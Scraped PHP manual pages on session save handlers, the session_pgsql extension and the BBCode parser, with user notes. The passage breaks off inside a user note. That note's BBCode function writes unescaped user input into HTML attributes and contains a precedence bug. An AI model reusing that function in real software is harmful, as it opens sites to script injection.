  • SessionHandler
  • Cleanup old sessions

SessionHandler::gc

(PHP 5 >= 5.4.0)

SessionHandler::gc — Cleanup old sessions

Description

public bool SessionHandler::gc ( int $maxlifetime )

Cleans up expired sessions. Called randomly by PHP internally when a session starts or when session_start() is invoked. The frequency this is called is based on the session.gc_divisor and session.gc_probability configuration directives.

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritiance, calling the parent gc method will invoke the wrapper for this method and therefor invoke the associated internal callback. This allows this method to be overidden and or intercepted and filtered.

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::gc().

Parameters

maxlifetime

Sessions that have not updated for the last maxlifetime seconds will be removed.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

User Contributed Notes

There are no user contributed notes for this page.


Initialize session

  • « SessionHandler::gc
  • SessionHandler::read »
  • PHP Manual
  • SessionHandler
  • Initialize session

SessionHandler::open

(PHP 5 >= 5.4.0)

SessionHandler::open — Initialize session

Description

public bool SessionHandler::open ( string $save_path , string $session_id )

Create new session, or re-initialize existing session. Called internally by PHP when a session starts either automatically or when session_start() is invoked.

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritiance, calling the parent open method will invoke the wrapper for this method and therefor invoke the associated internal callback. This allows this method to be overidden and or intercepted and filtered.

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::open().

Parameters

save_path

The path where to store/retrieve the session.

session_id

The session id.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

See Also

  • The session.auto-start configuration directive.

User Contributed Notes

There are no user contributed notes for this page.


Read session data

  • « SessionHandler::open
  • SessionHandler::write »
  • PHP Manual
  • SessionHandler
  • Read session data

SessionHandler::read

(PHP 5 >= 5.4.0)

SessionHandler::read — Read session data

Description

public string SessionHandler::read ( string $session_id )

Reads the session data from the session storage, and returns the result back to PHP for internal processing. This method is called automatically by PHP when a session is started (either automatically or explicity with session_start() and is preceeded by an internal call to the SessionHandler::open().

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritiance, calling the parent read method will invoke the wrapper for this method and therefor invoke the associated internal callback. This allows the method to be overidden and or intercepted and filtered (for example, decrypting $data value returned by the parent read method).

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::read().

Parameters

session_id

The session id to read data for.

Return Values

Returns an encoded string of the read data. If nothing was read, it must return an empty string. Note this value is returned internally to PHP for processing.

See Also

  • The session.serialize_handler configuration directive.

User Contributed Notes

There are no user contributed notes for this page.


Write session data

  • « SessionHandler::read
  • SessionHandlerInterface »
  • PHP Manual
  • SessionHandler
  • Write session data

SessionHandler::write

(PHP 5 >= 5.4.0)

SessionHandler::write — Write session data

Description

public bool SessionHandler::write ( string $session_id , string $session_data )

Writes the session data to the session storage. Called by normal PHP shutdown, by session_write_close(), or when session_register_shutdown() fails. PHP will call SessionHandler::close() immediately after this method returns.

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritiance, calling the parent write method will invoke the wrapper for this method and therefor invoke the associated internal callback. This allows this method to be overidden and or intercepted and filtered (for example, encrypting the $data value before sending it to the parent write method).

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::write().

Parameters

session_id

The session id.

session_data

The encoded session data. This data is the result of the PHP internally encoding the $_SESSION superglobal to a serialized string and passing it as this parameter. Please note sessions use an alternative serialization method.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

See Also

  • The session.serialize_handler configuration directive.

User Contributed Notes

There are no user contributed notes for this page.


The SessionHandlerInterface class

(PHP 5 >= 5.4.0)

Introduction

SessionHandlerInterface is an interface which defines a prototype for creating a custom session handler. In order to pass a custom session handler to session_set_save_handler() using its OOP invocation, the class must implement this interface.

Please note the callback methods of this class are designed to be called internally by PHP and are not meant to be called from user-space code.

Class synopsis

SessionHandlerInterface {
/* Methods */
abstract public bool close ( void )
abstract public bool destroy ( string $session_id )
abstract public bool gc ( string $maxlifetime )
abstract public bool open ( string $save_path , string $name )
abstract public string read ( string $session_id )
abstract public bool write ( string $session_id , string $session_data )
}

Example #1 Example using SessionHandlerInterface

The following example provides file based session storage similar to the PHP sessions default save handler files. This example could easily be extended to cover database storage using your favorite PHP supported database engine.

Note we use the OOP prototype with session_set_save_handler() and register the shutdown function using the function's parameter flag. This is generally advised when registering objects as session save handlers.

<?php
class MySessionHandler implements SessionHandlerInterface
{
    private $savePath;

    public function open($savePath, $sessionName)
    {
        $this->savePath = $savePath;
        if (!is_dir($this->savePath)) {
            mkdir($this->savePath, 0777);
        }

        return true;
    }

    public function close()
    {
        return true;
    }

    public function read($id)
    {
        return (string)@file_get_contents("$this->savePath/sess_$id");
    }

    public function write($id, $data)
    {
        return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
    }

    public function destroy($id)
    {
        $file = "$this->savePath/sess_$id";
        if (file_exists($file)) {
            unlink($file);
        }

        return true;
    }

    public function gc($maxlifetime)
    {
        foreach (glob("$this->savePath/sess_*") as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }

        return true;
    }
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();

// proceed to set and retrieve values by key from $_SESSION

Table of Contents

  • SessionHandlerInterface::close — Close the session
  • SessionHandlerInterface::destroy — Destroy a session
  • SessionHandlerInterface::gc — Cleanup old sessions
  • SessionHandlerInterface::open — Initialize session
  • SessionHandlerInterface::read — Read session data
  • SessionHandlerInterface::write — Write session data

User Contributed Notes

warxcell at gmail dot com 22-Sep-2012 08:12
You should prepend <b>\</b> before class name, to tell php its from root namespace.
PHPaficionado 29-Jun-2012 02:07
This interface like classes doesn't show up if you have a namespace defined.

If you're getting an error like:
Fatal error: Interface 'MyNamespace\SessionHandlerInterface' not found
under your namespace you can just write the line:
use SessionHandlerInterface;
and all will be fine.

You can now implement this interface as usual.


Close the session

  • « SessionHandlerInterface
  • SessionHandlerInterface::destroy »
  • PHP Manual
  • SessionHandlerInterface
  • Close the session

SessionHandlerInterface::close

(PHP 5 >= 5.4.0)

SessionHandlerInterface::close — Close the session

Description

abstract public bool SessionHandlerInterface::close ( void )

Closes the current session. This function is automatically executed when closing the session, or explicitly via session_write_close().

Parameters

This function has no parameters.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

User Contributed Notes

svenr at selfhtml dot org 01-May-2013 06:29
This method should release the exclusive lock that was acquired by the open() method.

Note that this will effectively serialize parallel requests, which affects performance for a single user session.

Not locking the resource would on the other hand allow for race conditions if two or more parallel requests change the session data.


Destroy a session

  • « SessionHandlerInterface::close
  • SessionHandlerInterface::gc »
  • PHP Manual
  • SessionHandlerInterface
  • Destroy a session

SessionHandlerInterface::destroy

(PHP 5 >= 5.4.0)

SessionHandlerInterface::destroy — Destroy a session

Description

abstract public bool SessionHandlerInterface::destroy ( string $session_id )

Destroys a session. Called by session_regenerate_id() (with $destroy = TRUE), session_destroy() and when session_decode() fails.

Parameters

session_id

The session ID being destroyed.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

User Contributed Notes

There are no user contributed notes for this page.


Cleanup old sessions

  • « SessionHandlerInterface::destroy
  • SessionHandlerInterface::open »
  • PHP Manual
  • SessionHandlerInterface
  • Cleanup old sessions

SessionHandlerInterface::gc

(PHP 5 >= 5.4.0)

SessionHandlerInterface::gc — Cleanup old sessions

Description

abstract public bool SessionHandlerInterface::gc ( string $maxlifetime )

Cleans up expired sessions. Called by session_start(), based on session.gc_divisor, session.gc_probability and session.gc_lifetime settings.

Parameters

maxlifetime

Sessions that have not updated for the last maxlifetime seconds will be removed.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

User Contributed Notes

There are no user contributed notes for this page.


Initialize session

  • « SessionHandlerInterface::gc
  • SessionHandlerInterface::read »
  • PHP Manual
  • SessionHandlerInterface
  • Initialize session

SessionHandlerInterface::open

(PHP 5 >= 5.4.0)

SessionHandlerInterface::open — Initialize session

Description

abstract public bool SessionHandlerInterface::open ( string $save_path , string $name )

Re-initialize existing session, or creates a new one. Called when a session starts or when session_start() is invoked.

Parameters

save_path

The path where to store/retrieve the session.

name

The session name.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

See Also

  • session_name() - Get and/or set the current session name
  • The session.auto-start configuration directive.

User Contributed Notes

narf at devilix dot net 29-Aug-2014 12:49
The suggestion that you should free the lock as soon as possible is WRONG (and for some reason, I can't downvote it right now).

Releasing the lock before the write() call is as effective as not using locks at all. The whole point is that a concurrent read() HAS to be blocked until the session is closed, otherwise you'll have race conditions.

If you care about the performance aspect, you should take care to call session_write_close() as soon as possible instead.
ross at newmail dot ru 08-Oct-2013 11:46
You should lock your program for as shorter as possible. Lock it straight before read/write operation and unlock it just after this operation. Otherwise you will face with perfomance degradation and even lock your program at all.

Example.
You bind your session to db. Your open method opens the db connection and locks it. No other parallel requests will not be possible until the hole request to your site will be finished (and session close will be called)


Read session data

  • « SessionHandlerInterface::open
  • SessionHandlerInterface::write »
  • PHP Manual
  • SessionHandlerInterface
  • Read session data

SessionHandlerInterface::read

(PHP 5 >= 5.4.0)

SessionHandlerInterface::read — Read session data

Description

abstract public string SessionHandlerInterface::read ( string $session_id )

Reads the session data from the session storage, and returns the results. Called right after the session starts or when session_start() is called. Please note that before this method is called SessionHandlerInterface::open() is invoked.

This method is called by PHP itself when the session is started. This method should retrieve the session data from storage by the session ID provided. The string returned by this method must be in the same serialized format as when originally passed to the SessionHandlerInterface::write() If the record was not found, return an empty string.

The data returned by this method will be decoded internally by PHP using the unserialization method specified in session.serialize_handler. The resultig data will be used to populate the $_SESSION superglobal.

Note that the serialization scheme is not the same as unserialize() and can be accessed by session_decode().

Parameters

session_id

The session id.

Return Values

Returns an encoded string of the read data. If nothing was read, it must return an empty string. Note this value is returned internally to PHP for processing.

See Also

  • The session.serialize_handler configuration directive.

User Contributed Notes

There are no user contributed notes for this page.


Write session data

  • « SessionHandlerInterface::read
  • Session PgSQL »
  • PHP Manual
  • SessionHandlerInterface
  • Write session data

SessionHandlerInterface::write

(PHP 5 >= 5.4.0)

SessionHandlerInterface::write — Write session data

Description

abstract public bool SessionHandlerInterface::write ( string $session_id , string $session_data )

Writes the session data to the session storage. Called by session_write_close(), when session_register_shutdown() fails, or during a normal shutdown. Note: SessionHandlerInterface::close() is called immediately after this function.

PHP will call this method when the session is ready to be saved and closed. It encodes the session data from the $_SESSION superglobal to a serialized string and passes this along with the session ID to this method for storage. The serialization method used is specified in the session.serialize_handler setting.

Note this method is normally called by PHP after the output buffers have been closed unless explicitly called by session_write_close()

Parameters

session_id

The session id.

session_data

The encoded session data. This data is the result of the PHP internally encoding the $_SESSION superglobal to a serialized string and passing it as this parameter. Please note sessions use an alternative serialization method.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

See Also

  • The session.serialize_handler configuration directive.

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL Session Save Handler

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Table definitions
  • Predefined Constants
  • Session PgSQL Functions
    • session_pgsql_add_error — Increments error counts and sets last error message
    • session_pgsql_get_error — Returns number of errors and last error message
    • session_pgsql_get_field — Get custom field value
    • session_pgsql_reset — Reset connection to session database servers
    • session_pgsql_set_field — Set custom field value
    • session_pgsql_status — Get current save handler status

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Note: This extension is not available on Windows platforms.

This module provides an additional session save handler for the session module using » PostgreSQL as a storage system. A user-level session storage function may also be used - session_set_save_handler(), but this module is written in C and therefore could be twice as fast, compared to a session save handler written in PHP.

Session PgSQL is designed to scale any size of web sites and offers some advanced features:

  • session tables are created automatically
  • automatic session table vacuum
  • better garbage collection
  • multiple PostgreSQL servers support
  • automatic database server failover (switching)
  • automatic database server load balancing if there are multiple PostgreSQL servers.
  • short circuit UPDATE

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You need at least PHP >= 4.3.0, and PostgreSQL >=7.2.0 as database server. libpq that comes with PostgreSQL 7.2.0 or later (and header files to build) and » libmm (and header files).

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/session_pgsql.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PostgreSQL session save handler is still under development. Refer to the README file in the source distribution for configuration details.

User Contributed Notes

There are no user contributed notes for this page.


Table definitions

Session table definition

CREATE TABLE php_session (
 sess_id            text,
 sess_name          text,
 sess_data          text,
 sess_created       integer,
 sess_modified      integer,
 sess_expire        integer,
 sess_addr_created  text,
 sess_addr_modified text,
 sess_counter       integer,
 sess_error         integer,
 sess_warning       integer,
 sess_notice        integer,
 sess_err_message   text,
 sess_custom        text
);

CREATE INDEX php_session_idx ON php_session USING BTREE (sess_id);

Warning

If you use HASH for INDEX, you'll have a deadlock problem when the server load is very high. Even if it's unlikely to have a deadlock under normal operation, it can occur. Do not use HASH for INDEX.

You may change the session table as long as all fields are defined.

Application variables table definition

CREATE TABLE php_app_vars (
 app_modified       integer,
 app_name           text,
 app_vars           text
);

User Contributed Notes

There are no user contributed notes for this page.


Session PgSQL Functions

Contact Information

I have at the moment not very much time to further develop this extension. I will implement more and more features in the near future.

If you have comments, bug fixes, enhancements or want to help developing this, you can drop me a mail at » yohgaki@php.net. Any help is very welcome.

Table of Contents

  • session_pgsql_add_error — Increments error counts and sets last error message
  • session_pgsql_get_error — Returns number of errors and last error message
  • session_pgsql_get_field — Get custom field value
  • session_pgsql_reset — Reset connection to session database servers
  • session_pgsql_set_field — Set custom field value
  • session_pgsql_status — Get current save handler status

User Contributed Notes

There are no user contributed notes for this page.


Increments error counts and sets last error message

  • « Session PgSQL Functions
  • session_pgsql_get_error »
  • PHP Manual
  • Session PgSQL Functions
  • Increments error counts and sets last error message

session_pgsql_add_error

(PECL session_pgsql SVN)

session_pgsql_add_error — Increments error counts and sets last error message

Description

bool session_pgsql_add_error ( int $error_level [, string $error_message ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

error_level

error_message

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • session_pgsql_get_error() - Returns number of errors and last error message

User Contributed Notes

There are no user contributed notes for this page.


Returns number of errors and last error message

  • « session_pgsql_add_error
  • session_pgsql_get_field »
  • PHP Manual
  • Session PgSQL Functions
  • Returns number of errors and last error message

session_pgsql_get_error

(PECL session_pgsql SVN)

session_pgsql_get_error — Returns number of errors and last error message

Description

array session_pgsql_get_error ([ bool $with_error_message = false ] )

Get the number of errors and optional the error messages.

Parameters

with_error_message

Set to TRUE the literal error message for each error is also returned.

Return Values

The number of errors are returned as array.

See Also

  • session_pgsql_add_error() - Increments error counts and sets last error message

User Contributed Notes

There are no user contributed notes for this page.


Get custom field value

  • « session_pgsql_get_error
  • session_pgsql_reset »
  • PHP Manual
  • Session PgSQL Functions
  • Get custom field value

session_pgsql_get_field

(PECL session_pgsql SVN)

session_pgsql_get_field — Get custom field value

Description

string session_pgsql_get_field ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • session_pgsql_set_field() - Set custom field value

User Contributed Notes

There are no user contributed notes for this page.


Reset connection to session database servers

  • « session_pgsql_get_field
  • session_pgsql_set_field »
  • PHP Manual
  • Session PgSQL Functions
  • Reset connection to session database servers

session_pgsql_reset

(PECL session_pgsql SVN)

session_pgsql_reset — Reset connection to session database servers

Description

bool session_pgsql_reset ( void )

Reset the connection to the session database servers.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set custom field value

  • « session_pgsql_reset
  • session_pgsql_status »
  • PHP Manual
  • Session PgSQL Functions
  • Set custom field value

session_pgsql_set_field

(PECL session_pgsql SVN)

session_pgsql_set_field — Set custom field value

Description

bool session_pgsql_set_field ( string $value )
Warning

This function is currently not documented; only its argument list is available.

Parameters

value

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • session_pgsql_get_field() - Get custom field value

User Contributed Notes

There are no user contributed notes for this page.


Get current save handler status

  • « session_pgsql_set_field
  • Text Processing »
  • PHP Manual
  • Session PgSQL Functions
  • Get current save handler status

session_pgsql_status

(PECL session_pgsql SVN)

session_pgsql_status — Get current save handler status

Description

array session_pgsql_status ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Text Processing

  • BBCode — Bulletin Board Code
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • BBCode Functions
  • PCRE — Regular Expressions (Perl-Compatible)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • PCRE Patterns
    • PCRE Functions
  • POSIX Regex — Regular Expression (POSIX Extended)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • POSIX Regex Functions
  • ssdeep — ssdeep Fuzzy Hashing
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • ssdeep Functions
  • Strings
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • String Functions
    • Changelog

User Contributed Notes

There are no user contributed notes for this page.


Bulletin Board Code

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • BBCode Functions
    • bbcode_add_element — Adds a bbcode element
    • bbcode_add_smiley — Adds a smiley to the parser
    • bbcode_create — Create a BBCode Resource
    • bbcode_destroy — Close BBCode_container resource
    • bbcode_parse — Parse a string following a given rule set
    • bbcode_set_arg_parser — Attach another parser in order to use another rule set for argument parsing
    • bbcode_set_flags — Set or alter parser options

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension aims to help parse BBCode text in order to convert it to HTML or another markup language. It uses one pass parsing and provides great speed improvement over the common approach based on regular expressions. Further more, it helps provide valid HTML by reordering open / close tags and by automatically closing unclosed tags.

Since 0.10.1 It supports argument quoting with single quotes, double quotes and HTML escaped double quotes.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/bbcode

An alternative solution, written in PHP, is the PEAR package » HTML_BBCodeParser.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

One resource is used in the BBCode extension: a BBCode_Container returned by bbcode_create().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

BBCODE_TYPE_NOARG (integer)
This BBCode tag does not accept any arguments.
BBCODE_TYPE_SINGLE (integer)
This BBCode tag does not have a corresponding close tag.
BBCODE_TYPE_ARG (integer)
This BBCode tag need an argument.
BBCODE_TYPE_OPTARG (integer)
This BBCode tag accept an optional argument.
BBCODE_TYPE_ROOT (integer)
This BBCode tag is the special tag root (nesting level 0).
BBCODE_FLAGS_ARG_PARSING (integer)
This BBCode tag require argument sub-parsing (the argument is also parsed by the BBCode extension). As Of 0.10.2 another parser can be used as argument parser.
BBCODE_FLAGS_CDATA_NOT_ALLOWED (integer)
This BBCode Tag does not accept content (it voids it automatically).
BBCODE_FLAGS_SMILEYS_ON (integer) - since 0.10.2
This BBCode Tag accepts smileys.
BBCODE_FLAGS_SMILEYS_OFF (integer) - since 0.10.2
This BBCode Tag does not accept smileys.
BBCODE_FLAGS_ONE_OPEN_PER_LEVEL (integer) - since 0.10.2
This BBCode Tag automatically closes if another tag of the same type is found at the same nesting level.
BBCODE_FLAGS_REMOVE_IF_EMPTY (integer) - since 0.10.2
This BBCode Tag is automatically removed if content is empty it allows to produce lighter HTML.
BBCODE_FLAGS_DENY_REOPEN_CHILD (integer) - since 0.10.3
This BBCode Tag does not allow unclosed children to reopen when automatically closed.
BBCODE_ARG_DOUBLE_QUOTE (integer) - since 0.10.2
This is a parser option allowing argument quoting with double quotes (")
BBCODE_ARG_SINGLE_QUOTE (integer) - since 0.10.2
This is a parser option allowing argument quoting with single quotes (')
BBCODE_ARG_HTML_QUOTE (integer) - since 0.10.2
This is a parser option allowing argument quoting with HTML version of double quotes (&quot;)
BBCODE_ARG_QUOTE_ESCAPING (integer) - since 1.0.2
This is a parser option allowing argument quotes to be escaped this permit the quote delimiter to be found in the string escaping character is \ it can escape any quoting character or itself, if found in front of a non escapable character, it will be dropped. Default behaviour is not to use escaping.
BBCODE_AUTO_CORRECT (integer) - since 0.10.2
This is a parser option changing the way errors are treated. It automatically closes tag in the order they are opened. And treat tags with only an open tag as if there were a close tag present.
BBCODE_CORRECT_REOPEN_TAGS (integer) - since 0.10.2
This is a parser option changing the way errors are treated. It automatically reopens tag if close tags are not in the good order.
BBCODE_DISABLE_TREE_BUILD (integer) - since 0.10.2
This is a parser option disabling the BBCode parsing it can be useful if only the "smiley" replacement must be used.
BBCODE_DEFAULT_SMILEYS_ON (integer) - since 0.10.2
This is a parser option setting smileys to ON if no flag is given at tag level.
BBCODE_DEFAULT_SMILEYS_OFF (integer) - since 0.10.2
This is a parser option setting smileys to OFF if no flag is given at tag level.
BBCODE_FORCE_SMILEYS_OFF (integer) - since 0.10.2
This is a parser option disabling completely the smileys parsing.
BBCODE_SMILEYS_CASE_INSENSITIVE (integer) - since 0.10.3
Use a case insensitive Detection for smileys instead of a simple binary search.
BBCODE_SET_FLAGS_SET (integer) - since 0.10.2
This permits to SET the complete flag set on a parser.
BBCODE_SET_FLAGS_ADD (integer) - since 0.10.2
This permits to switch a flag set ON on a parser.
BBCODE_SET_FLAGS_REMOVE (integer) - since 0.10.2
This permits to switch a flag set OFF on a parser.

User Contributed Notes

There are no user contributed notes for this page.


BBCode Functions

Table of Contents

  • bbcode_add_element — Adds a bbcode element
  • bbcode_add_smiley — Adds a smiley to the parser
  • bbcode_create — Create a BBCode Resource
  • bbcode_destroy — Close BBCode_container resource
  • bbcode_parse — Parse a string following a given rule set
  • bbcode_set_arg_parser — Attach another parser in order to use another rule set for argument parsing
  • bbcode_set_flags — Set or alter parser options

User Contributed Notes

There are no user contributed notes for this page.


Adds a bbcode element

  • « BBCode Functions
  • bbcode_add_smiley »
  • PHP Manual
  • BBCode Functions
  • Adds a bbcode element

bbcode_add_element

(PECL bbcode >= 0.9.0)

bbcode_add_element — Adds a bbcode element

Description

bool bbcode_add_element ( resource $bbcode_container , string $tag_name , array $tag_rules )

Adds a tag to an existing BBCode_Container tag_set using tag_rules.

Parameters

bbcode_container

BBCode_Container resource, returned by bbcode_create().

tag_name

The new tag to add to the BBCode_Container tag_set.

tag_rules

An associative array containing the parsing rules; see bbcode_create() for the available keys.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Adds a smiley to the parser

  • « bbcode_add_element
  • bbcode_create »
  • PHP Manual
  • BBCode Functions
  • Adds a smiley to the parser

bbcode_add_smiley

(PECL bbcode >= 0.10.2)

bbcode_add_smiley — Adds a smiley to the parser

Description

bool bbcode_add_smiley ( resource $bbcode_container , string $smiley , string $replace_by )

Adds a smiley to the parser

Parameters

bbcode_container

BBCode_Container resource, returned by bbcode_create().

smiley

The string that will be replaced when found.

replace_by

The string that replace smiley when found.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bbcode_add_smiley() usage example

<?php
/*
 * Prepare the rule set
 */
$arrayBBCode=array(
    ''=>         array('type'=>BBCODE_TYPE_ROOT,
                       'childs'=>'!i'),
    'b'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<b>',
                       'close_tag'=>'</b>'),
    'u'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<u>',
                       'close_tag'=>'</u>',
                       'flags'=>BBCODE_FLAGS_SMILEYS_OFF),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<i>',
                       'close_tag'=>'</i>',
                       'childs'=>'b'),
);
/*
 * Parsed Text
 */
$text=<<<EOF
[i] No parse Test [/i] :)
[b] Parsed, with smiley :( [/b]
[u] Parsed, with no smiley :D [/u]
EOF;
/*
 * Init the parser
 */
$BBHandler=bbcode_create($arrayBBCode);
/*
 * Add Smiley rules to parser
 */
bbcode_add_smiley($BBHandler, ":)", "<img src=\"smiley.gif\" alt=\":)\" />");
bbcode_add_smiley($BBHandler, ":(", "<img src=\"sad.gif\" alt=\":(\" />");
bbcode_add_smiley($BBHandler, ":D", "<img src=\"happy.gif\" alt=\":D\" />");
bbcode_add_smiley($BBHandler, ":p", "<img src=\"tong.gif\" alt=\":p\" />");
bbcode_add_smiley($BBHandler, ":|", "<img src=\"special.gif\" alt=\":|\" />");
bbcode_add_smiley($BBHandler, ":6:", "<img src=\"six.gif\" alt=\":6:\" />");
/*
 * Parse the text
 */
echo bbcode_parse($BBHandler,$text);
?>

The above example will output:

<i> No parse Test </i> <img src="smiley.gif" alt=":)" />
<b> Parsed, with smiley <img src="sad.gif" alt=":(" /> </b>
<u> Parsed, with no smiley :D </u>

User Contributed Notes

There are no user contributed notes for this page.


Create a BBCode Resource

  • « bbcode_add_smiley
  • bbcode_destroy »
  • PHP Manual
  • BBCode Functions
  • Create a BBCode Resource

bbcode_create

(PECL bbcode >= 0.9.0)

bbcode_create — Create a BBCode Resource

Description

resource bbcode_create ([ array $bbcode_initial_tags = NULL ] )

This function returns a new BBCode Resource used to parse BBCode strings.

Parameters

bbcode_initial_tags

An associative array containing the tag names as keys and parameters required to correctly parse BBCode as their value. The following key/value pairs are supported:

  • flags optional - a flag set based on the BBCODE_FLAGS_* constants.
  • type required - an int indicating the type of tag. Use the BBCODE_TYPE_* constants.
  • open_tag required - the HTML replacement string for the open tag.
  • close_tag required - the HTML replacement string for the close tag.
  • default_arg optional - use this value as the default argument if none is provided and tag_type is of type OPTARG.
  • content_handling optional - Gives the callback used for modification of the content. Object Oriented Notation supported only since 0.10.1 callback prototype is string name(string $content, string $argument)
  • param_handling optional - Gives the callback used for modification of the argument. Object Oriented Notation supported only since 0.10.1 callback prototype is string name(string $content, string $argument)
  • childs optional - List of accepted children for the tag. The format of the list is a comma separated string. If the list starts with ! it will be the list of rejected children for the tag.
  • parent optional - List of accepted parents for the tag. The format of the list is a comma separated string.

Return Values

Returns a BBCode_Container

Examples

Example #1 bbcode_create() example

<?php
$arrayBBCode=array(
    ''=>         array('type'=>BBCODE_TYPE_ROOT,  'childs'=>'!i'),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG, 'open_tag'=>'<i>',
                    'close_tag'=>'</i>', 'childs'=>'b'),
    'url'=>      array('type'=>BBCODE_TYPE_OPTARG,
                    'open_tag'=>'<a href="{PARAM}">', 'close_tag'=>'</a>',
                    'default_arg'=>'{CONTENT}',
                    'childs'=>'b,i'),
    'img'=>      array('type'=>BBCODE_TYPE_NOARG,
                    'open_tag'=>'<img src="', 'close_tag'=>'" />',
                    'childs'=>''),
    'b'=>        array('type'=>BBCODE_TYPE_NOARG, 'open_tag'=>'<b>',
                    'close_tag'=>'</b>'),
);
$text=<<<EOF
[b]Bold Text[/b]
[i]Italic Text[/i]
[url]http://www.php.net/[/url]
[url=http://pecl.php.net/][b]Content Text[/b][/url]
[img]http://static.php.net/www.php.net/images/php.gif[/img]
[url=http://www.php.net/]
[img]http://static.php.net/www.php.net/images/php.gif[/img]
[/url]
EOF;
$BBHandler=bbcode_create($arrayBBCode);
echo bbcode_parse($BBHandler,$text);
?>

The above example will output:

<b>Bold Text</b>
[i]Italic Text[/i]
<a href="http://www.php.net/">http://www.php.net/</a>
<a href="http://pecl.php.net/"><b>Content Text</b></a>
<img src="http://static.php.net/www.php.net/images/php.gif" />
<a href="http://www.php.net/">
[img]http://static.php.net/www.php.net/images/php.gif[/img]
</a>

User Contributed Notes

void at php dot net 27-Dec-2012 07:13
I strongly recommend checking out this code (pure php implementation of the c library) :

If you can't install the pecl version, it avoids regexp and therefore is able to yield better results:

http://svn.php.net/viewvc/pecl/bbcode/trunk/bbcode.php?view=co

Xavier.
rothenbergxxx at gmail dot com 04-Sep-2009 07:58
For those without the BBCode extension, here's a relatively elegant function to do the trick.
Keep in mind that if you're using XHTML and one of your users tries to overlap lags <b>Like <i>so</b></i>, it will invalidate your markup. Still working on an expression for this.

<?php
    function bb_parse($string) {
        $tags = 'b|i|size|color|center|quote|url|img';
        while (preg_match_all('`\[('.$tags.')=?(.*?)\](.+?)\[/\1\]`', $string, $matches)) foreach ($matches[0] as $key => $match) {
            list($tag, $param, $innertext) = array($matches[1][$key], $matches[2][$key], $matches[3][$key]);
            switch ($tag) {
                case 'b': $replacement = "<strong>$innertext</strong>"; break;
                case 'i': $replacement = "<em>$innertext</em>"; break;
                case 'size': $replacement = "<span style=\"font-size: $param;\">$innertext</span>"; break;
                case 'color': $replacement = "<span style=\"color: $param;\">$innertext</span>"; break;
                case 'center': $replacement = "<div class=\"centered\">$innertext</div>"; break;
                case 'quote': $replacement = "<blockquote>$innertext</blockquote>" . $param? "<cite>$param</cite>" : ''; break;
                case 'url': $replacement = '<a href="' . ($param? $param : $innertext) . "\">$innertext</a>"; break;
                case 'img':
                    list($width, $height) = preg_split('`[Xx]`', $param);
                    $replacement = "<img src=\"$innertext\" " . (is_numeric($width)? "width=\"$width\" " : '') . (is_numeric($height)? "height=\"$height\" " : '') . '/>';
                break;
                case 'video':
                    $videourl = parse_url($innertext);
                    parse_str($videourl['query'], $videoquery);
